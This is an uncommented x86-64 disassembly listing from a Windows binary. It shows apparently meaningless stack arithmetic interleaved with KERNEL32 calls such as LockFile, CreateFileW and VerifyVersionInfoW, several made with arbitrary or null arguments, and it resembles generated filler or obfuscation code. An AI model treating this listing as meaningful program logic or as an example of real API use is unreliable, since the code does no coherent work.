mov edx, 0x3c5
mov rcx, qword [rsp + 0x12f80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9b4c], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a20], eax
movsx eax, byte [rsp + 0x730]
movsx ecx, byte [rsp + 0x12c]
or eax, ecx
mov byte [rsp + 0x6fc], al
lea rax, [rsp + 0x268c]
mov qword [rsp + 0x134b0], rax
mov rax, qword [rsp + 0x12e80]
movzx eax, word [rax]
movzx ecx, word [0x140369bd8]
add eax, ecx
mov rcx, qword [rsp + 0x13370]
mov word [rcx], ax
mov rax, qword [rsp + 0x12fe0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x132e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2e7], al
mov rax, qword [rsp + 0x13450]
mov ecx, dword [0x140362460]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ed8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x130d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a90]
sub ecx, eax
mov eax, ecx
mov dword [0x140362470], eax
mov rax, qword [rsp + 0x12eb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a24]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x878
mov r9d, 0x184e
mov r8d, 0x28bd
mov edx, 0x1915
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9980], eax
mov eax, dword [0x140362460]
mov dword [rsp + 0x9b50], eax
mov eax, dword [rsp + 0x636c]
mov rcx, qword [rsp + 0x12dd0]
mov qword [rsp + 0x134b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x134b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12f78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13200]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c8]
sar eax, cl
mov byte [rsp + 0x243], al
mov dword [rsp + 0x4b010], 0x11c
movzx eax, word [0x140362458]
mov rcx, qword [rsp + 0x13058]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b90], ax
mov rax, qword [rsp + 0x12e88]
mov ecx, dword [rsp + 0x601c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9b28], eax
mov eax, dword [rsp + 0x9a34]
mov dword [rsp + 0x9b54], eax
mov rax, qword [rsp + 0x13318]
mov ecx, dword [rsp + 0x8f50]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x601c], eax
mov rax, qword [rsp + 0x13088]
mov eax, dword [rax]
mov dword [0x140369c8c], eax
mov rax, qword [rsp + 0x130d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13128]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0x12ff8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f18]
add eax, ecx
mov rcx, qword [rsp + 0x13448]
mov word [rcx], ax
movzx eax, byte [rsp + 0x518]
mov byte [rsp + 0x743], al
movsx eax, word [rsp + 0x1ed0]
movsx ecx, word [rsp + 0x268c]
and eax, ecx
mov rcx, qword [rsp + 0x13468]
mov word [rcx], ax
mov eax, dword [rsp + 0x9aec]
mov ecx, dword [rsp + 0x9b10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e20], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9944], eax
lea rax, [rsp + 0x636c]
mov qword [rsp + 0x134c0], rax
mov rax, qword [rsp + 0x13020]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29ac]
imul eax, ecx
mov word [rsp + 0x2bbc], ax
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x134c8], rax
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140369c30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x9b44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a6c], eax
mov eax, dword [rsp + 0x56e4]
mov ecx, dword [rsp + 0x6a84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13198]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13298]
mov eax, dword [rax]
mov dword [rsp + 0x9b58], eax
mov rax, qword [rsp + 0x13248]
movzx eax, word [rax]
mov rcx, qword [0x140369c80]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13380]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x267
mov r9d, 0x210d
mov r8d, 0x430
mov edx, 0x1dc9
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9a04], eax
lea rax, [rsp + 0x739]
mov qword [rsp + 0x134d0], rax
mov eax, dword [rsp + 0x9b3c]
mov rcx, qword [rsp + 0x134c0]
mov qword [rsp + 0x134d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x134d8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13068]
mov dword [rcx], eax
mov rax, qword [0x140369c58]
mov rcx, qword [rsp + 0x131b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9ac8], eax
lea rax, [rsp + 0x9970]
mov qword [rsp + 0x134e0], rax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9b5c], eax
mov rax, qword [rsp + 0x13068]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9b44]
shl eax, cl
mov dword [0x140362478], eax
mov rax, qword [rsp + 0x12fc8]
mov ecx, dword [rsp + 0x9b3c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13050]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x730]
and eax, ecx
mov byte [rsp + 0x512], al
mov rax, qword [rsp + 0x13148]
movsx eax, word [rax]
mov rcx, qword [0x140369c10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12f30]
mov word [rcx], ax
movzx eax, byte [rsp + 0x734]
movzx ecx, byte [rsp + 0x2e7]
add eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov byte [rcx], al
movzx eax, word [rsp + 0x1f18]
mov word [rsp + 0x2bc4], ax
mov rax, qword [0x140369bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5284]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12ee0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x82a8]
mov qword [rsp + 0x134e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13218]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x337], al
mov rax, qword [rsp + 0x13138]
movzx eax, word [rax]
mov word [0x140369c90], ax
lea rax, [rsp + 0x9a50]
mov qword [rsp + 0x134f0], rax
mov rax, qword [rsp + 0x12fc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x134e8]
mov rcx, qword [0x140369bc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
lea rax, [rsp + 0x9b58]
mov qword [rsp + 0x134f8], rax
mov rax, qword [rsp + 0x131d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72e]
or eax, ecx
mov rcx, qword [rsp + 0x13120]
mov byte [rcx], al
lea rax, [rsp + 0x25a0]
mov qword [rsp + 0x13500], rax
mov rax, qword [0x140369bb8]
mov ecx, dword [rsp + 0x9a24]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ff0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x56e4]
movzx ecx, al
mov eax, dword [rsp + 0x53f0]
sar eax, cl
mov dword [rsp + 0x6278], eax
mov rax, qword [rsp + 0x13468]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12f30]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14036247c], ax
mov rax, qword [rsp + 0x12ea0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x736]
xor eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x13278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x742]
and eax, ecx
mov rcx, qword [rsp + 0x13278]
mov byte [rcx], al
lea rax, [rsp + 0x1bd4]
mov qword [rsp + 0x13508], rax
mov dword [rsp + 0x20], 0x37fe
mov r9d, 0x1d49
mov r8d, 0x2c0d
mov edx, 0xe5
mov rcx, qword [rsp + 0x13348]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9938], eax
mov rax, qword [rsp + 0x13210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5330]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x134f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x131a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ac4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9adc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13510], rax
mov rcx, qword [rsp + 0x13078]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x12ef0]
mov eax, dword [rax]
mov dword [rsp + 0x9b60], eax
mov rax, qword [rsp + 0x13320]
mov ecx, dword [rsp + 0x5c48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x601c], eax
mov rax, qword [rsp + 0x13040]
mov eax, dword [rax]
mov dword [rsp + 0x9b64], eax
mov rax, qword [rsp + 0x13200]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f3]
and eax, ecx
mov rcx, qword [rsp + 0x130d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13138]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bb4]
sub eax, ecx
mov rcx, qword [0x140369bf8]
mov word [rcx], ax
lea rax, [rsp + 0x9a64]
mov qword [rsp + 0x13518], rax
mov rax, qword [rsp + 0x13160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13408]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13048]
mov rcx, qword [rsp + 0x132d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a14], eax
mov rax, qword [0x140369bd0]
mov ecx, dword [rsp + 0x9abc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x954c], eax
lea rdx, [rsp + 0x42b18]
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9af8], eax
movzx eax, word [rsp + 0x2bbc]
mov rcx, qword [rsp + 0x12ff8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x131e8]
mov word [rcx], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x2fc5
mov r8d, 0x25d9
mov edx, 0x67
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9a0c], eax
movzx eax, byte [rsp + 0x72a]
mov byte [rsp + 0x744], al
movsx eax, word [0x14036247c]
movsx ecx, word [rsp + 0x1e24]
or eax, ecx
mov word [rsp + 0x268c], ax
movsx eax, byte [rsp + 0x738]
mov rcx, qword [rsp + 0x12ea0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13188]
mov byte [rcx], al
mov rax, qword [rsp + 0x13490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ee8]
xor ecx, eax
mov eax, ecx
mov dword [0x140369b78], eax
mov eax, dword [rsp + 0x9aa4]
mov rcx, qword [rsp + 0x13160]
mov qword [rsp + 0x13520], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13520]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9198], eax
mov rax, qword [rsp + 0x13100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x130a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b94], ax
lea rax, [0x14035259f]
mov qword [rsp + 0x13528], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x130c8]
mov ecx, dword [rsp + 0x9b60]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9a6c], eax
mov rax, qword [rsp + 0x13418]
mov rcx, qword [rsp + 0x130f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a34], eax
lea rax, [rsp + 0x6a84]
mov qword [rsp + 0x13530], rax
mov rax, qword [rsp + 0x133e0]
mov ecx, dword [rsp + 0x8f14]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9aa4], eax
mov edx, 0xee9
mov rcx, qword [rsp + 0x13510]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9b68], eax
lea rax, [rsp + 0x2b84]
mov qword [rsp + 0x13538], rax
mov dword [rsp + 0x20], 0x1e07
mov r9d, 0x2329
mov r8d, 0x2455
mov edx, 0x2db7
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9ae0], eax
lea rax, [rsp + 0x1c8]
mov qword [0x140369c98], rax
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9af4], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9aa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a18], eax
mov rax, qword [rsp + 0x132e0]
mov ecx, dword [rsp + 0x9b38]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9a30], eax
lea rax, [0x140369bc0]
mov qword [rsp + 0x13540], rax
mov eax, dword [rsp + 0x6278]
mov ecx, dword [rsp + 0x9b60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x81e0], eax
lea rax, [rsp + 0x9a2c]
mov qword [rsp + 0x13548], rax
movsx eax, word [rsp + 0x1938]
movsx ecx, word [rsp + 0x1ed0]
add eax, ecx
mov rcx, qword [rsp + 0x13230]
mov word [rcx], ax
lea rax, [rsp + 0x6f8]
mov qword [rsp + 0x13550], rax
movzx eax, word [rsp + 0x2bb8]
movzx ecx, word [rsp + 0x1bd4]
add eax, ecx
mov word [rsp + 0x2b78], ax
movzx eax, byte [rsp + 0x243]
mov rcx, qword [0x140369c98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140369c38]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.B4bS4iuG3pFK9El
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13558], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x13270]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a9c], eax
mov eax, dword [rsp + 0x9970]
mov dword [rsp + 0x9b6c], eax
mov rax, qword [rsp + 0x13248]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e08]
add eax, ecx
mov rcx, qword [rsp + 0x13248]
mov word [rcx], ax
movzx eax, byte [rsp + 0x337]
mov byte [rsp + 0x745], al
mov rax, qword [rsp + 0x13350]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12eb8]
mov qword [rsp + 0x13560], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13560]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x99e8], eax
mov eax, dword [rsp + 0x9ac4]
movzx ecx, al
mov eax, dword [0x140369b78]
shr eax, cl
mov dword [rsp + 0x645c], eax
mov rax, qword [rsp + 0x13030]
mov ecx, dword [rsp + 0x9aa0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x870c], eax
mov eax, dword [0x140369c68]
mov ecx, dword [rsp + 0x870c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13018]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13528]
movzx eax, byte [rax]
mov byte [0x140363eff], al
lea rax, [rsp + 0x1ab8]
mov qword [rsp + 0x13568], rax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x97b4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d88]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4ab90]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a20], eax
mov eax, dword [rsp + 0x6b08]
mov ecx, dword [rsp + 0x9a24]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b3c], eax
movzx eax, word [rsp + 0x1ed0]
mov word [rsp + 0x2bc8], ax
mov rax, qword [rsp + 0x12ed0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x131b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13550]
mov byte [rcx], al
mov rax, qword [rsp + 0x133c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x280c]
imul eax, ecx
mov word [rsp + 0x20d8], ax
movzx eax, byte [rsp + 0x739]
mov rcx, qword [rsp + 0x132a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x10e], al
mov eax, dword [rsp + 0x9a94]
mov dword [rsp + 0x9b70], eax
lea rax, [rsp + 0x86dc]
mov qword [0x140369ca0], rax
mov edx, 0xdd8
mov rcx, qword [rsp + 0x12f98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9b74], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x13160]
mov ecx, dword [rsp + 0x6a84]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d88]
mov ecx, dword [rsp + 0x9a28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x97b4], eax
lea rax, [rsp + 0x9968]
mov qword [rsp + 0x13570], rax
movzx eax, byte [rsp + 0x744]
movzx ecx, byte [rsp + 0x739]
sub eax, ecx
mov byte [rsp + 0x732], al
lea rdx, [rsp + 0x42b50]
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a44], eax
lea rax, [rsp + 0x2234]
mov qword [rsp + 0x13578], rax
mov rax, qword [rsp + 0x13088]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a54], eax
mov eax, dword [rsp + 0x940c]
mov ecx, dword [rsp + 0x645c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131a0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea rax, [rsp + 0x9b00]
mov qword [rsp + 0x13580], rax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a44], eax
mov eax, dword [rsp + 0x9acc]
mov rcx, qword [rsp + 0x12f78]
mov qword [rsp + 0x13588], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13588]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14036246c], eax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72f]
xor eax, ecx
mov byte [rsp + 0x73d], al
mov rax, qword [rsp + 0x13138]
movzx eax, word [rax]
mov word [rsp + 0x2bcc], ax
mov rax, qword [rsp + 0x134b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b74]
sar eax, cl
mov rcx, qword [rsp + 0x12f30]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6fc]
movsx ecx, byte [rsp + 0x736]
or eax, ecx
mov rcx, qword [rsp + 0x12ed0]
mov byte [rcx], al
mov rax, qword [0x140369c40]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8e2c], eax
mov eax, dword [rsp + 0x9acc]
mov ecx, dword [rsp + 0x9ae8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9aa0], eax
lea rax, [rsp + 0x49c]
mov qword [rsp + 0x13590], rax
mov rax, qword [0x140369c80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12e80]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13100]
mov word [rcx], ax
mov eax, dword [rsp + 0x9adc]
mov ecx, dword [rsp + 0x9b6c]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140369c30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a88]
mov ecx, dword [0x140362464]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ef0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b64]
mov dword [rsp + 0x9b78], eax
mov rcx, qword [rsp + 0x13510]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x9b1c]
mov ecx, dword [rsp + 0x9b58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a94], eax
lea rax, [rsp + 0x739]
mov qword [rsp + 0x13598], rax
mov rax, qword [rsp + 0x13138]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b90]
sub eax, ecx
mov rcx, qword [rsp + 0x13110]
mov word [rcx], ax
mov rax, qword [rsp + 0x13000]
mov rcx, qword [rsp + 0x13048]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5810], eax
mov rax, qword [rsp + 0x12fd8]
mov eax, dword [rax]
mov ecx, dword [0x140369b9c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a2c], eax
mov rax, qword [rsp + 0x134e0]
mov ecx, dword [rsp + 0x99e4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13028]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b64]
mov rcx, qword [rsp + 0x130e8]
mov qword [rsp + 0x135a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x135a0]
mov eax, dword [rax]
sar eax, cl
mov dword [0x140362480], eax
mov eax, dword [rsp + 0x92e8]
mov dword [rsp + 0x9b7c], eax
mov rax, qword [rsp + 0x13378]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12e98]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13008]
mov word [rcx], ax
lea rax, [rsp + 0x731]
mov qword [rsp + 0x135a8], rax
mov rax, qword [rsp + 0x13478]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f18]
xor eax, ecx
mov word [rsp + 0x2b7c], ax
movzx eax, byte [rsp + 0x73a]
movzx ecx, byte [rsp + 0x739]
imul eax, ecx
mov byte [rsp + 0x243], al
lea rax, [0x140369c64]
mov qword [rsp + 0x135b0], rax
mov rax, qword [rsp + 0x13018]
mov rcx, qword [rsp + 0x12eb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9b18], eax
movzx eax, byte [rsp + 0x72b]
mov rcx, qword [rsp + 0x13420]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x361], al
movzx eax, word [rsp + 0x13d8]
movzx ecx, word [rsp + 0x2bb4]
sub eax, ecx
mov word [0x140369c88], ax
mov rax, qword [rsp + 0x12f58]
mov ecx, dword [rsp + 0x9a74]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9998], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b80], eax
mov rax, qword [rsp + 0x12ee8]
mov ecx, dword [0x140369bec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x997c], eax
mov eax, dword [rsp + 0x870c]
mov dword [rsp + 0x9b84], eax
mov rax, qword [rsp + 0x130a8]
mov rcx, qword [rsp + 0x13450]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9ac4], eax
mov rax, qword [rsp + 0x12e90]
movzx eax, byte [rax]
mov byte [rsp + 0x746], al
mov rax, qword [rsp + 0x133b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13370]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13478]
mov word [rcx], ax
mov rax, qword [rsp + 0x13068]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59fc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fd8]
mov ecx, dword [rsp + 0x9acc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7a5c], eax
lea rax, [rsp + 0x738]
mov qword [0x140369ca8], rax
mov rax, qword [rsp + 0x13268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12e98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1938], ax
movzx eax, byte [rsp + 0x13c]
mov byte [rsp + 0x747], al
movzx eax, word [rsp + 0x178c]
mov rcx, qword [rsp + 0x13478]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bc0], ax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a44], eax
mov rcx, qword [rsp + 0x12cf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9980], eax
mov rax, qword [rsp + 0x13418]
mov ecx, dword [rsp + 0x9b04]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x709c], eax
mov eax, dword [rsp + 0x9ab0]
mov rcx, qword [rsp + 0x12f48]
mov qword [rsp + 0x135b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x135b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9aa8], eax
mov eax, dword [rsp + 0x9a54]
mov rcx, qword [rsp + 0x132c8]
mov qword [rsp + 0x135c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x135c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6278], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x12fa0]
mov eax, dword [rax]
mov dword [rsp + 0x9b88], eax
mov eax, dword [rsp + 0x9b3c]
mov ecx, dword [0x14036244c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13580]
mov dword [rcx], eax
lea rax, [rsp + 0x2bac]
mov qword [rsp + 0x135c8], rax
lea rax, [rsp + 0x735]
mov qword [0x140369cb0], rax
mov eax, dword [rsp + 0x9960]
mov ecx, dword [0x140369c70]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ab0], eax
mov rax, qword [rsp + 0x13540]
mov rcx, qword [rsp + 0x132e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13198]
mov dword [rcx], eax
lea rax, [rsp + 0x6278]
mov qword [rsp + 0x135d0], rax
mov rax, qword [rsp + 0x12d88]
mov ecx, dword [rsp + 0x9a84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ac4], eax
movzx eax, word [rsp + 0x2bc4]
mov word [rsp + 0x2bd0], ax
lea rdx, [rsp + 0x42a70]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9b40], eax
mov rax, qword [rsp + 0x13278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x243]
add eax, ecx
mov rcx, qword [rsp + 0x12e08]
mov byte [rcx], al
mov rax, qword [0x140369bf0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe3]
sub eax, ecx
mov rcx, qword [rsp + 0x13550]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fa8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13268]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1570], ax
